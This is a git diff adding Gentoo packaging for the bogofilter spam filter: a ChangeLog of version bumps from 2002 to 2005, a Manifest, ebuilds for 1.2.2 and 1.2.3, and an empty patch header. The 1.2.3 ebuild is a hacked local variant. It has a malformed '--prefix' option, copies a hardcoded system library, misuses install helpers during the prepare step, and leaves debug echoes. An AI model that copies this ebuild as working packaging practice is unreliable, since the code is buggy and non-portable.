+  Version bump. 0.95.2 supports Unicode (UTF-8).
+  For 64-bit machines that require 8-byte alignment for longword access
+  >=dev-db/sqlite-3.2.2 is needed.
+
+*bogofilter-0.94.14 (09 Jun 2005)
+
+  09 Jun 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.12.ebuild,
+  -bogofilter-0.94.13.ebuild, +bogofilter-0.94.14.ebuild:
+  Bugfix release.
+
+*bogofilter-0.94.13 (31 May 2005)
+
+  31 May 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94-11-ebuild,
+  +bogofilter-0.94.13.ebuild:
+  Bugfix release.
+  The ebuild supports SQLite3 as alternative backend and iconv for
+  charset conversion.
+
+*bogofilter-0.94.12 (18 May 2005)
+
+  18 May 2005; Torsten Veller <tove@gentoo.org> +bogofilter-0.94.12.ebuild:
+  New Stable release.
+
+*bogofilter-0.94.11 (11 May 2005)
+
+  11 May 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.8.ebuild,
+  +bogofilter-0.94.11.ebuild:
+  Version bump.
+
+*bogofilter-0.94.8 (04 May 2005)
+
+  04 May 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.6.ebuild,
+  +bogofilter-0.94.8.ebuild:
+  New Current Version.
+
+*bogofilter-0.94.6 (30 Apr 2005)
+
+  30 Apr 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.4.ebuild,
+  +bogofilter-0.94.6.ebuild:
+  New Current Version.
+
+*bogofilter-0.94.4 (10 Apr 2005)
+
+  10 Apr 2005; Torsten Veller <tove@gentoo.org> +bogofilter-0.94.4.ebuild:
+  New Current Version
+
+*bogofilter-0.94.3 (30 Mar 2005)
+
+  30 Mar 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.2.ebuild,
+  +bogofilter-0.94.3.ebuild:
+  New Current Version.
+
+*bogofilter-0.94.2 (25 Mar 2005)
+
+  25 Mar 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.1.ebuild,
+  +bogofilter-0.94.2.ebuild:
+  New Current Release.
+
+*bogofilter-0.94.1 (17 Mar 2005)
+
+  17 Mar 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.94.0.ebuild,
+  +bogofilter-0.94.1.ebuild:
+  New Current Version.
+
+*bogofilter-0.94.0 (06 Mar 2005)
+
+  06 Mar 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.93.4.ebuild,
+  +bogofilter-0.94.0.ebuild:
+  Version bump.
+
+*bogofilter-0.93.4 (10 Jan 2005)
+
+  10 Jan 2005; Torsten Veller <tove@gentoo.org> -bogofilter-0.93.2.ebuild,
+  +bogofilter-0.93.4.ebuild:
+  Version bump.
+
+  28 Dec 2004; Olivier Fisette <ribosome@gentoo.org>
+  bogofilter-0.93.2.ebuild:
+  Dependency update: dev-libs/gsl -> sci-libs/gsl.
+
+*bogofilter-0.93.2 (14 Dec 2004)
+
+  14 Dec 2004; Torsten Veller <tove@gentoo.org> -bogofilter-0.13.7.3.ebuild,
+  -bogofilter-0.17.5.ebuild, -bogofilter-0.92.2.ebuild,
+  -bogofilter-0.92.6.ebuild, -bogofilter-0.92.7.ebuild,
+  +bogofilter-0.93.2.ebuild:
+  Version bump. Closes #73919, reported by Erinn Looney-Triggs.
+  Clean out old ebuilds, #69505.
+
+  02 Nov 2004; Jeremy Huddleston <eradicator@gentoo.org>
+  bogofilter-0.92.8.ebuild:
+  Stable amd64.
+
+  02 Nov 2004; Kurt Lieber <klieber@gentoo.org> bogofilter-0.92.8.ebuild:
+  tested/stabilized on x86 for 69505.  also marking as ppc since pylon
+  tested it earlier
+
+  30 Oct 2004; Ferris McCormick <fmccor@gentoo.org> bogofilter-0.92.8.ebuild:
+  Stable for sparc, closing bug 69505.
+
+  30 Oct 2004; Lars Weiler <pylon@gentoo.org> bogofilter-0.92.8.ebuild:
+  Stable on ppc as requested in bug #69505
+
+  23 Oct 2004; Andrej Kacian <ticho@gentoo.org> bogofilter-0.92.8.ebuild:
+  Do not install nonexistent files from the tarball. Fixed according to patch
+  from #68245, submitted by tove <bugs@veller.net>.
+
+*bogofilter-0.92.8 (20 Oct 2004)
+
+  20 Oct 2004; Brandon Low <lostlogic@gentoo.org> +bogofilter-0.92.8.ebuild:
+  Bump
+
+  14 Oct 2004; Andrej Kacian <ticho@gentoo.org> bogofilter-0.92.2.ebuild,
+  bogofilter-0.92.6.ebuild, bogofilter-0.92.7.ebuild:
+  Removed unnecessary einfo block from 0.92.x ebuilds. Sort-of fixes #67425,
+  reported by Daniel Webert <rockoo@rockoo.homelinux.org>.
+
+  11 Oct 2004; Ferris McCormick <fmccor@gentoo.org> bogofilter-0.92.6.ebuild:
+  Stable for sparc.
+
+  11 Oct 2004; Tom Martin <slarti@gentoo.org> bogofilter-0.92.6.ebuild:
+  Stable on amd64.
+
+*bogofilter-0.92.7 (11 Oct 2004)
+
+  11 Oct 2004; Brandon Low <lostlogic@gentoo.org> -bogofilter-0.92.0.ebuild,
+  -bogofilter-0.92.1.ebuild, bogofilter-0.92.6.ebuild,
+  +bogofilter-0.92.7.ebuild:
+  Move 0.92.6 to stable on x86 (other arches, please follow), clean out old
+  ebiulds that do not have any unique keywords, bump the latest unstable to
+  0.92.7
+
+  02 Oct 2004; Jason Wever <weeve@gentoo.org> bogofilter-0.92.2.ebuild:
+  Stable on sparc.
+
+  25 Sep 2004; Andrej Kacian <ticho@gentoo.org> bogofilter-0.17.5.ebuild,
+  bogofilter-0.92.1.ebuild, bogofilter-0.92.2.ebuild:
+  Stable on x86.
+
+  25 Sep 2004; Andrej Kacian <ticho@gentoo.org> bogofilter-0.92.2.ebuild:
+  Stable on x86.
+
+*bogofilter-0.92.6 (05 Sep 2004)
+
+  05 Sep 2004; Andrej Kacian <ticho@gentoo.org> +bogofilter-0.92.6.ebuild:
+  Version bump. Also moved contrib stuff from /usr/lib/bogofilter/contrib to
+  /usr/share/bogofilter/contrib. Closes #62933, reported by tove
+  <bugs@veller.net>.
+
+*bogofilter-0.92.2 (19 Jul 2004)
+
+  19 Jul 2004; Brandon Low <lostlogic@gentoo.org> +bogofilter-0.92.2.ebuild:
+  Bump
+
+  12 Jul 2004; Brandon Low <lostlogic@gentoo.org> -bogofilter-0.91.1.ebuild:
+  This version has an open bug and is not the latest so zapping it
+
+  12 Jul 2004; Brandon Low <lostlogic@gentoo.org> bogofilter-0.92.0.ebuild:
+  Mark stable on x86, that brings us up-to-date with the bogofilter team for the
+  first time in a long time. Hope this version works as well for the rest of you
+  as it has for me.
+
+*bogofilter-0.92.1 (06 Jul 2004)
+*bogofilter-0.92.0 (06 Jul 2004)
+
+  06 Jul 2004; Brandon Low <lostlogic@gentoo.org> -bogofilter-0.14.5.4.ebuild,
+  -bogofilter-0.15.13.1.ebuild, -bogofilter-0.16.4.ebuild,
+  bogofilter-0.91.1.ebuild, +bogofilter-0.92.0.ebuild,
+  +bogofilter-0.92.1.ebuild:
+  Bump up stable on x86, hope this doesn't break anyone... add 2 new unstable
+  versions for testing... clean up cruft
+
+  01 Jul 2004; Jeremy Huddleston <eradicator@gentoo.org>
+  bogofilter-0.13.7.3.ebuild, bogofilter-0.14.5.4.ebuild,
+  bogofilter-0.15.13.1.ebuild, bogofilter-0.16.4.ebuild,
+  bogofilter-0.17.5.ebuild, bogofilter-0.91.1.ebuild:
+  virtual/glibc -> virtual/libc
+
+*bogofilter-0.91.1 (06 Jun 2004)
+
+  06 Jun 2004; Grant Goodyear <g2boojum@gentoo.org> -bogofilter-0.91.0.ebuild,
+  +bogofilter-0.91.1.ebuild:
+  Version bump.
+
+*bogofilter-0.91.0 (06 Jun 2004)
+
+  06 Jun 2004; Grant Goodyear <g2boojum@gentoo.org> +bogofilter-0.91.0.ebuild:
+  Version bump, thanks to Daniel Webert (Bug #51089).
+
+*bogofilter-0.15.13.1 (03 Jun 2004)
+
+  03 Jun 2004; Seemant Kulleen <seemant@gentoo.org> +metadata.xml,
+  +bogofilter-0.13.7.3.ebuild, +bogofilter-0.14.5.4.ebuild,
+  +bogofilter-0.15.13.1.ebuild, +bogofilter-0.16.4.ebuild,
+  +bogofilter-0.17.5.ebuild:
+  Moved from net-mail/bogofilter to mail-filter/bogofilter.
+
+*bogofilter-0.17.5 (14 May 2004)
+
+  14 May 2004; Brandon Low <lostlogic@gentoo.org> -bogofilter-0.17.1.ebuild,
+  -bogofilter-0.17.2.ebuild, +bogofilter-0.17.5.ebuild:
+  Bump, and remove some unneeded ebuilds, will mark _something_ stable today
+
+*bogofilter-0.17.2 (25 Feb 2004)
+
+  25 Feb 2004; Brandon Low <lostlogic@gentoo.org> bogofilter-0.17.2.ebuild:
+  Bump
+
+  22 Feb 2004; Aron Griffis <agriffis@gentoo.org> bogofilter-0.13.7.3.ebuild,
+  bogofilter-0.14.5.4.ebuild, bogofilter-0.15.13.1.ebuild,
+  bogofilter-0.16.4.ebuild, bogofilter-0.17.1.ebuild:
+  Remove arm keywords
+
+*bogofilter-0.17.1 (10 Feb 2004)
+*bogofilter-0.16.4 (10 Feb 2004)
+
+  10 Feb 2004; Brandon Low <lostlogic@gentoo.org> bogofilter-0.15.13.1.ebuild,
+  bogofilter-0.16.4.ebuild, bogofilter-0.17.1.ebuild:
+  Fix keyword issues by making depend _really_ special, and add 2 new versions.
+  0.16.4 should be moved to stable cautiously as it deprecates many features
+  BTW, most of this work was not done by me, but rather by: 
+
+  Torsten Veller <bugs@veller.net>, many thanks.
+
+  Closed bugs: 36452, 37017, 41086.
+
+  07 Feb 2004; Lars Weiler <pylon@gentoo.org> bogofilter-0.15.13.1.ebuild:
+  stable on ppc
+
+*bogofilter-0.15.13.1 (07 Jan 2004)
+
+  07 Jan 2004; Seemant Kulleen <seemant@gentoo.org>
+  bogofilter-0.15.13.1.ebuild, bogofilter-0.15.13.ebuild:
+  bug fix release from upstream. Thanks again to tove <bugs@veller.net> in bug
+  #36452
+
+  29 Dec 2003; Seemant Kulleen <seemant@gentoo.org> bogofilter-0.15.13.ebuild:
+  fixed missing header and IUSE line
+
+*bogofilter-0.15.13 (29 Dec 2003)
+
+  29 Dec 2003; Seemant Kulleen <seemant@gentoo.org>
+  bogofilter-0.14.5.2.ebuild, bogofilter-0.14.5.4.ebuild,
+  bogofilter-0.14.5.ebuild, bogofilter-0.15.12.ebuild,
+  bogofilter-0.15.13.ebuild:
+  version bump thanks to: tove <bugs@veller.net> in bug #36452. Note that he
+  had had an ebuild waiting in bugzilla for 15.12 as well, which I hadn't
+  seen -- my apologies to him
+
+*bogofilter-0.15.12 (27 Dec 2003)
+
+  27 Dec 2003; Seemant Kulleen <seemant@gentoo.org> bogofilter-0.15.12.ebuild:
+  version bump
+
+*bogofilter-0.14.5.4 (06 Oct 2003)
+
+  06 Oct 2003; Caleb Tennis <caleb@gentoo.org> bogofilter-0.11.2.ebuild,
+  bogofilter-0.13.3.ebuild, bogofilter-0.13.6.2.ebuild,
+  bogofilter-0.14.5.4.ebuild:
+  New version, remove old ones that dont seem valid anymore
+
+*bogofilter-0.14.5.2 (22 Aug 2003)
+
+  22 Aug 2003; Grant Goodyear <g2boojum@gentoo.org>
+  bogofilter-0.14.5.2.ebuild:
+  Version bump.  Thanks to Florian Bauhaus!
+
+*bogofilter-0.14.5 (17 Aug 2003)
+
+  17 Aug 2003; Nick Hadaway <raker@gentoo.org> bogofilter-0.14.5.ebuild:
+  The 0.14 series finally appears to be stable.  Version bump.  Minor 
+  ebuild changes.  Only the addition of bogominitrain.pl.
+
+*bogofilter-0.13.7.3 (16 Jul 2003)
+
+  16 Jul 2003; Nick Hadaway <raker@gentoo.org> bogofilter-0.13.7.{2,3}.ebuild:
+  Version bump and added missing $ in headery
+
+  16 Jul 2003; Christian Birchinger <joker@gentoo.org>
+  bogofilter-0.13.7.2.ebuild:
+  Added sparc stable keyword
+
+  16 Jul 2003; Nick Hadaway <raker@gentoo.org> bogofilter-0.13.7.3.ebuild,
+  bogofilter-0.13.7.2.ebuild:
+  Fixed the header line. And a version bump.
+
+  15 Jul 2003; Nick Hadaway <raker@gentoo.org> bogofilter-0.13.7.2.ebuild:
+  Marked stable for x86
+
+  15 Jul 2003; Christian Birchinger <joker@gentoo.org>
+  bogofilter-0.13.6.2.ebuild:
+  Added sparc stable keyword
+
+*bogofilter-0.13.7.2
+
+  09 Jul 2003; Nick Hadaway <raker@gentoo.org> bogofilter-0.13.7.2.ebuild:
+  Version bump.  Changes on bug #23914.
+
+  02 Jul 2003; Nick Hadaway <raker@gentoo.org> bogofilter-0.13.6.2.ebuild:
+  Marked stabled for x86
+
+*bogofilter-0.13.6.2 (01 Jul 2003)
+
+  01 Jul 2003; Nick Hadaway <raker@gentoo.org> bogofilter-0.13.6.2.ebuild:
+  Version bump.  Minor ebuild changes.  See bug #22562.
+
+  03 Jun 2003; Christian Birchinger <joker@gentoo.org>
+  bogofilter-0.11.2.ebuild:
+  Added sparc stable keyword
+
+*bogofilter-0.13.3 (29 May 2003)
+
+  29 May 2003; Grant Goodyear <g2boojum@gentoo.org> bogofilter-0.10.3.ebuild,
+  bogofilter-0.11.1.3.ebuild, bogofilter-0.11.2.ebuild,
+  bogofilter-0.12.3.ebuild, bogofilter-0.13.3.ebuild, bogofilter-0.8.0.ebuild,
+  bogofilter-0.9.1.2.ebuild:
+  Big clean-up.  Made 0.11.2 stable on x86, added 0.13.3 (which is part
+  of their unstable branch, so ~ masked).  Thanks to Torsten for the 0.12.3
+  (whoops, 0.12.2) ebuild and to Florian Bauhaus for 0.12.3 (upon which
+  the 0.13.3 ebuild is based).
+
+*bogofilter-0.12.3 (14 May 2003)
+
+  14 May 2003; Dylan Carlson <absinthe@gentoo.org> bogofilter-0.12.3.ebuild:
+  Version bump. Anyone who uses bogofilter regularly, I suggest you upgrade...
+  fairly significant update over previous versions.
+
+*bogofilter-0.11.1.3 (13 Mar 2003)
+
+  16 Mar 2003; Graham Forest <vladimir@gentoo.org> bogofilter-0.11.1.3.ebuild:
+  Added einfo about configuration changes
+
+  13 Mar 2003; Graham Forest <vladimir@gentoo.org> bogofilter-0.11.1.3.ebuild:
+  Version bump, added ~ppc to keywords
+
+*bogofilter-0.11.2 (02 Jun 2003)
+
+  13 Jul 2003; Daniel Ahlberg <aliz@gentoo.org> :
+  Added missing changelog entry.
+
+*bogofilter-0.10.3 (15 Feb. 2003)
+
+  15 Feb 2003; Christian Birchinger <joker@gentoo.org> ChangeLog:
+
+  Version bump. Added ~sparc keyword.
+
+*bogofilter-0.9.1.2 (8 Dec. 2002)
+
+  8 Dec 2002; Grant Goodyear <g2boojum@gentoo.org> ChangeLog:
+
+  Version bump.  Thanks to Clemens Oertel!
+
+*bogofilter-0.8.0 (11 Nov 2002)
+
+  11 Nov 2002; Grant Goodyear <g2boojum@gentoo.org> ChangeLog:
+
+  new package; thanks to Evan Read and Javier Marcet
diff --git a/mail-filter/bogofilter/Manifest b/mail-filter/bogofilter/Manifest
new file mode 100644
index 00000000..1ec40b8b
--- /dev/null
+++ b/mail-filter/bogofilter/Manifest
@@ -0,0 +1,8 @@
+AUX bogofilter-1.2.2-gcc34.patch 1393 SHA256 a8dd6640782dc2c564c4b402cfbac2fd6d016db03adab67b8507d914cd110dc8 SHA512 7179efbc1a8a4ba79a6710d6324c955dfa255e46fb5d9ac3377b11843f8eb545bf6e9ce5b547a62198d7be4fd989b9a5ea96487d34491df7d42f33a818f02b84 WHIRLPOOL beeeb55b64a22b60fca8cf51c77ca1ff42631c086b50f3e03db5b83a04cdca5e55363c75e4d4ac2459dc4a5e0bd121cebfe29d4e52cfa51777b4162dc1ce5367
+DIST bogofilter-1.2.2.tar.bz2 867043 SHA256 d8cfd1e68375ac8131de8a6998a38ee5b3f7d1151e71efd2b436183545216039 SHA512 916740b4d916c266c8645aa2c509a7e4e21ea0afe9ef89dfe64aa2e147158d48dd259ca53052c14ae8e422a7f364c9a12fcca67011a4e806581e4346e892a7e6 WHIRLPOOL 56f586212fe85fcb1bc9233a987c21ae581d9a5a7cb79e49664426a1e238d3ae3785367f6fec6e9be416a4469209ab2ad187494ed5db95bb435f1fca108ce200
+DIST bogofilter-1.2.3.tar.bz2 868902 SHA256 8ed85fc5ff03d9b07986ee2ce33e1149e30abe2ad8bae1d0c94503ccd2c92e76 SHA512 4b3bb4b1e0f12a88a5ec5421c88001ddeb242c39c55733000dfd38691dc4f5c34a5254de60399b20c63c9ee9e1e13ef73582e215fbabc3738871394b26924ca0 WHIRLPOOL d9177ac269349b1c10a3c8149bff126e927685232a644d4ea8db8060438dd23a1c9725831e0874b6eba185b385f4d329cf701277778608e094abc9135008b19d
+DIST gsl-1.15.tar.gz 3281134 SHA256 85b907e57902e2b7606ef3aef960302ffdd13bd9dc5b8fcbfa75e4f0bf340ea3 SHA512 dcea557bcd34d4ee6d2c52741c2f95702e5e6110a99f033b412489b1930d21a40ead29392f754656375801d706df01199878263e856ca3081f9a514dc3299185 WHIRLPOOL 06ffffb83ea56cf6306878063770a117e096352dda3c3dd4a7526153bc770969f61e38fa08c02ec01335bd812581db15e4e5164a7da2363741179268cb393478
+EBUILD bogofilter-1.2.2.ebuild 3786 SHA256 3ce4b4108e99085fabd97735ee9abd88d358d5e12d8b72ab907c20445bfd307a SHA512 713e80f64e6dd02eef67e62c9243cf296c26f712796ce1f52bac8991b33b9aa1f34a50751ae68a1dfdca0c46d982b9c5d0947383dff4df4fa6166525df89b0a2 WHIRLPOOL 774bc346d78e4b3387f0f2b6d80541117ccc2065a0c3d35b0afa6748b171ceacd0ef3cc9334cd37c78fd0844ef8a35c75731dad0ef52a1486b65e8ab12c54015
+EBUILD bogofilter-1.2.3.ebuild 4667 SHA256 fba86c3ee3f40ca8534d3284e8b25a9c626193016cd574eb188b53f86ceec0df SHA512 2cbc2ab1792e6fa62a5fc8746c1e15e00d5fe3cba8ea632ef23ed4c867f1a79a749729205b01d8544584a5918b8bf5ae348b4dc8d7d4ee512d549067738fae56 WHIRLPOOL f8378e15176448ae5483ab0d767430231fbc5cbb36b0c6c6727dd867dff67f578cabd6ef04c4886470074490c2b7b083ab8a86ff141b91eca79ace50b817717f
+MISC ChangeLog 26263 SHA256 25dedd6033320ff16b2fe29c187795cd97087075fa50162be1acf7a0a0bbdb77 SHA512 683f99dc58b788df9e4829432717ff9adf32bd3f5f6d0f550009462551bba2f8a5fb935d045b98eb6f14d107345d386c6efe9548a45b23fa0b1ad76dc102cdd9 WHIRLPOOL 530803765f5950cd56cd15b9373030878aedd1f7c4b5c38f76c04bc9acac4e2724b21c74234b7eef620391d52747f7843c28679e935a9498329a8fc4680d4983
+MISC metadata.xml 506 SHA256 da4c28135e6fec4478a9acdafe1d4b023815d2cb116a681917ee4b69846e665e SHA512 76a2324e77b81f3ff6df5f99a1ff88d35dffc8d11334c45c4e1b6bd29e6fbbf5b5d53f88c1e9c78cb8c6c9b139257c4c7e1119da01242755c66751e934afea98 WHIRLPOOL 0bcb4d2eb451f02675eed7c4632b2b2bfc7700ffcaaff4406746aea098b74d6e709df045490b86d13d4f912d7144861a415a9acfe5b117ded2ddf846b7db5511
diff --git a/mail-filter/bogofilter/bogofilter-1.2.2.ebuild b/mail-filter/bogofilter/bogofilter-1.2.2.ebuild
new file mode 100644
index 00000000..e4f5d5b6
--- /dev/null
+++ b/mail-filter/bogofilter/bogofilter-1.2.2.ebuild
@@ -0,0 +1,116 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/mail-filter/bogofilter/bogofilter-1.2.2.ebuild,v 1.9 2012/06/04 23:40:01 zmedico Exp $
+
+EAPI=2
+
+inherit db-use eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="Bayesian spam filter designed with fast algorithms, and tuned for speed."
+HOMEPAGE="http://bogofilter.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ppc ppc64 sh sparc x86 ~x86-fbsd"
+IUSE="berkdb sqlite tokyocabinet"
+
+DEPEND="virtual/libiconv
+	berkdb?  ( >=sys-libs/db-3.2 )
+	!berkdb? (
+		sqlite?  ( >=dev-db/sqlite-3.6.22 )
+		!sqlite? (
+			tokyocabinet? ( dev-db/tokyocabinet )
+			!tokyocabinet? ( >=sys-libs/db-3.2 )
+		)
+	)
+	sci-libs/gsl"
+#	app-arch/pax" # only needed for bf_tar
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+	has_version mail-filter/bogofilter || return 0
+	if  (   use berkdb && ! has_version 'mail-filter/bogofilter[berkdb]' ) || \
+		( ! use berkdb &&   has_version 'mail-filter/bogofilter[berkdb]' ) || \
+		(   use sqlite && ! has_version 'mail-filter/bogofilter[sqlite]' ) || \
+		( ! use sqlite &&   has_version 'mail-filter/bogofilter[sqlite]' ) || \
+		( has_version '>=mail-filter/bogofilter-1.2.1-r1' && \
+			(   use tokyocabinet && ! has_version 'mail-filter/bogofilter[tokyocabinet]' ) || \
+			( ! use tokyocabinet &&   has_version 'mail-filter/bogofilter[tokyocabinet]' )
+		) ; then
+		ewarn
+		ewarn "If you want to switch the database backend, you must dump the wordlist"
+		ewarn "with the current version (old use flags) and load it with the new version!"
+		ewarn
+	fi
+}
+
+src_configure() {
+	local myconf="" berkdb=true
+	myconf="--without-included-gsl"
+
+	# determine backend: berkdb *is* default
+	if use berkdb && use sqlite ; then
+		elog "Both useflags berkdb and sqlite are in USE:"
+		elog "Using berkdb as database backend."
+	elif use berkdb && use tokyocabinet ; then
+		elog "Both useflags berkdb and tokyocabinet are in USE:"
+		elog "Using berkdb as database backend."
+	elif use sqlite && use tokyocabinet ; then
+		elog "Both useflags sqlite and tokyocabinet are in USE:"
+		elog "Using sqlite as database backend."
+		myconf="${myconf} --with-database=sqlite"
+		berkdb=false
+	elif use sqlite ; then
+		myconf="${myconf} --with-database=sqlite"
+		berkdb=false
+	elif use tokyocabinet ; then
+		myconf="${myconf} --with-database=tokyocabinet"
+		berkdb=false
+	elif ! use berkdb ; then
+		elog "Neither berkdb nor sqlite nor tokyocabinet are in USE:"
+		elog "Using berkdb as database backend."
+	fi
+
+	# Include the right berkdb headers for FreeBSD
+	if ${berkdb} ; then
+		append-flags "-I$(db_includedir)"
+	fi
+
+	# bug #324405
+	if [[ $(gcc-version) == "3.4" ]] ; then
+		epatch "${FILESDIR}"/${P}-gcc34.patch
+	fi
+
+	econf ${myconf} || die "configure failed"
+}
+
+src_install() {
+	emake DESTDIR="${D}" install || die "make install failed"
+
+	exeinto /usr/share/${PN}/contrib
+	doexe contrib/{bogofilter-qfe,parmtest,randomtrain}.sh \
+		contrib/{bfproxy,bogominitrain,mime.get.rfc822,printmaildir}.pl \
+		contrib/{spamitarium,stripsearch}.pl || die "doexec failed"
+
+	insinto /usr/share/${PN}/contrib
+	doins contrib/{README.*,dot-qmail-bogofilter-default} \
+		contrib/{bogogrep.c,bogo.R,bogofilter-milter.pl,*.example} \
+		contrib/vm-bogofilter.el \
+		contrib/{trainbogo,scramble}.sh || die "doins failed"
+
+	dodoc AUTHORS NEWS README RELEASE.NOTES* TODO GETTING.STARTED \
+		doc/integrating-with-* doc/README.{db,sqlite} || die "dodoc failed"
+
+	dohtml doc/*.html
+
+	dodir /usr/share/doc/${PF}/samples
+	mv "${D}"/etc/bogofilter.cf.example "${D}"/usr/share/doc/${PF}/samples/
+	rmdir "${D}"/etc
+}
+
+pkg_postinst() {
+	echo
+	elog "If you need \"${ROOT}usr/bin/bf_tar\" please install app-arch/pax."
+	echo
+}
diff --git a/mail-filter/bogofilter/bogofilter-1.2.3.ebuild b/mail-filter/bogofilter/bogofilter-1.2.3.ebuild
new file mode 100644
index 00000000..13ab78c1
--- /dev/null
+++ b/mail-filter/bogofilter/bogofilter-1.2.3.ebuild
@@ -0,0 +1,147 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/mail-filter/bogofilter/bogofilter-1.2.3.ebuild,v 1.8 2012/12/15 17:45:29 armin76 Exp $
+
+EAPI=4
+inherit db-use eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="Bayesian spam filter designed with fast algorithms, and tuned for speed."
+HOMEPAGE="http://bogofilter.sourceforge.net/"
+SRC_URI="mirror://sourceforge/${PN}/${P}.tar.bz2
+		mirror://gnu/gsl/gsl-1.15.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ppc ppc64 sh sparc x86 ~x86-fbsd"
+IUSE="berkdb sqlite tokyocabinet gsl atompkg"
+
+DEPEND="virtual/libiconv
+	berkdb?  ( >=sys-libs/db-3.2 )
+	!berkdb? (
+		sqlite?  ( >=dev-db/sqlite-3.6.22 )
+		!sqlite? (
+			tokyocabinet? ( dev-db/tokyocabinet )
+			!tokyocabinet? ( >=sys-libs/db-3.2 )
+		)
+	)"
+#	sci-libs/gsl"
+#	app-arch/pax" # only needed for bf_tar
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+	has_version mail-filter/bogofilter || return 0
+	if  (   use berkdb && ! has_version 'mail-filter/bogofilter[berkdb]' ) || \
+		( ! use berkdb &&   has_version 'mail-filter/bogofilter[berkdb]' ) || \
+		(   use sqlite && ! has_version 'mail-filter/bogofilter[sqlite]' ) || \
+		( ! use sqlite &&   has_version 'mail-filter/bogofilter[sqlite]' ) || \
+		( has_version '>=mail-filter/bogofilter-1.2.1-r1' && \
+			(   use tokyocabinet && ! has_version 'mail-filter/bogofilter[tokyocabinet]' ) || \
+			( ! use tokyocabinet &&   has_version 'mail-filter/bogofilter[tokyocabinet]' )
+		) ; then
+		ewarn
+		ewarn "If you want to switch the database backend, you must dump the wordlist"
+		ewarn "with the current version (old use flags) and load it with the new version!"
+		ewarn
+	fi
+}
+
+src_prepare() {
+	dodir /opt/bogofilter/
+	dodir /opt/bogofilter/static-libs/
+	cd "${WORKDIR}"/gsl-1.15/
+	econf --prefix="${WORKDIR}"/gsl-1.15
+	emake
+	find . -iname "*libgsl.so*" || die
+	dodir "${WORKDIR}"/gsl-1.15/static-libs
+	mkdir "${WORKDIR}"/gsl-1.15/static-libs || die
+	cp "${WORKDIR}"/gsl-1.15/.libs/libgsl.so* "${WORKDIR}"/gsl-1.15/static-libs/ || die
+	cp /usr/lib64/libdb-4.8.so "${WORKDIR}"/gsl-1.15/static-libs/ || die
+	#insinto /opt/bogofilter/static-libs/
+	#cd /opt/bogofilter/static-libs/
+	#doins "${WORKDIR}"/gsl-1.15/.libs/libgsl.so*
+}
+
+src_configure() {
+	set -ex
+	local myconf="" berkdb=true
+	if use gsl ; then
+		myconf="--prefix/opt/bogofilter/ --with-included-gsl"
+	else
+		myconf="--prefix=/opt/bogofilter --without-included-gsl"
+	fi
+
+	if use atompkg ; then
+		export LD_LIBRARY_PATH="${LD_LIBRARY_PATH}:${libdir}:${WORKDIR}/gsl-1.15/static-libs/"
+		echo ${libdir}
+	fi
+
+	# determine backend: berkdb *is* default
+	if use berkdb && use sqlite ; then
+		elog "Both useflags berkdb and sqlite are in USE:"
+		elog "Using berkdb as database backend."
+	elif use berkdb && use tokyocabinet ; then
+		elog "Both useflags berkdb and tokyocabinet are in USE:"
+		elog "Using berkdb as database backend."
+	elif use sqlite && use tokyocabinet ; then
+		elog "Both useflags sqlite and tokyocabinet are in USE:"
+		elog "Using sqlite as database backend."
+		myconf="${myconf} --with-database=sqlite"
+		berkdb=false
+	elif use sqlite ; then
+		myconf="${myconf} --with-database=sqlite"
+		berkdb=false
+	elif use tokyocabinet ; then
+		myconf="${myconf} --with-database=tokyocabinet"
+		berkdb=false
+	elif ! use berkdb ; then
+		elog "Neither berkdb nor sqlite nor tokyocabinet are in USE:"
+		elog "Using berkdb as database backend."
+	fi
+
+	# Include the right berkdb headers for FreeBSD
+	if ${berkdb} ; then
+		append-cppflags "-I$(db_includedir)"
+	fi
+
+	# bug #324405
+	if [[ $(gcc-version) == "3.4" ]] ; then
+		epatch "${FILESDIR}"/${PN}-1.2.2-gcc34.patch
+	fi
+
+	LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:${libdir}:${WORKDIR}/gsl-1.15/static-libs econf ${myconf}
+}
+
+src_install() {
+	emake DESTDIR="${D}" install
+	echo $LD_PRELOAD
+
+	exeinto /usr/share/${PN}/contrib
+	doexe contrib/{bogofilter-qfe,parmtest,randomtrain}.sh \
+		contrib/{bfproxy,bogominitrain,mime.get.rfc822,printmaildir}.pl \
+		contrib/{spamitarium,stripsearch}.pl
+
+	insinto /usr/share/${PN}/contrib
+	doins contrib/{README.*,dot-qmail-bogofilter-default} \
+		contrib/{bogogrep.c,bogo.R,bogofilter-milter.pl,*.example} \
+		contrib/vm-bogofilter.el \
+		contrib/{trainbogo,scramble}.sh
+
+	dodoc AUTHORS NEWS README RELEASE.NOTES* TODO GETTING.STARTED \
+		doc/integrating-with-* doc/README.{db,sqlite}
+
+	dohtml doc/*.html
+
+	dodir /usr/share/doc/${PF}/samples
+	mv "${D}"/etc/bogofilter.cf.example "${D}"/usr/share/doc/${PF}/samples/
+	rmdir "${D}"/etc
+
+	echo $LD_PATH
+	echo $LD_LIBRARY_PATH
+	#die
+}
+
+pkg_postinst() {
+	echo
+	elog "If you need \"${ROOT}usr/bin/bf_tar\" please install app-arch/pax."
+	echo
+}
diff --git a/mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch b/mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch
new file mode 100644
index 00000000..80e4d787
--- /dev/null
+++ b/mail-filter/bogofilter/files/bogofilter-1.2.2-gcc34.patch
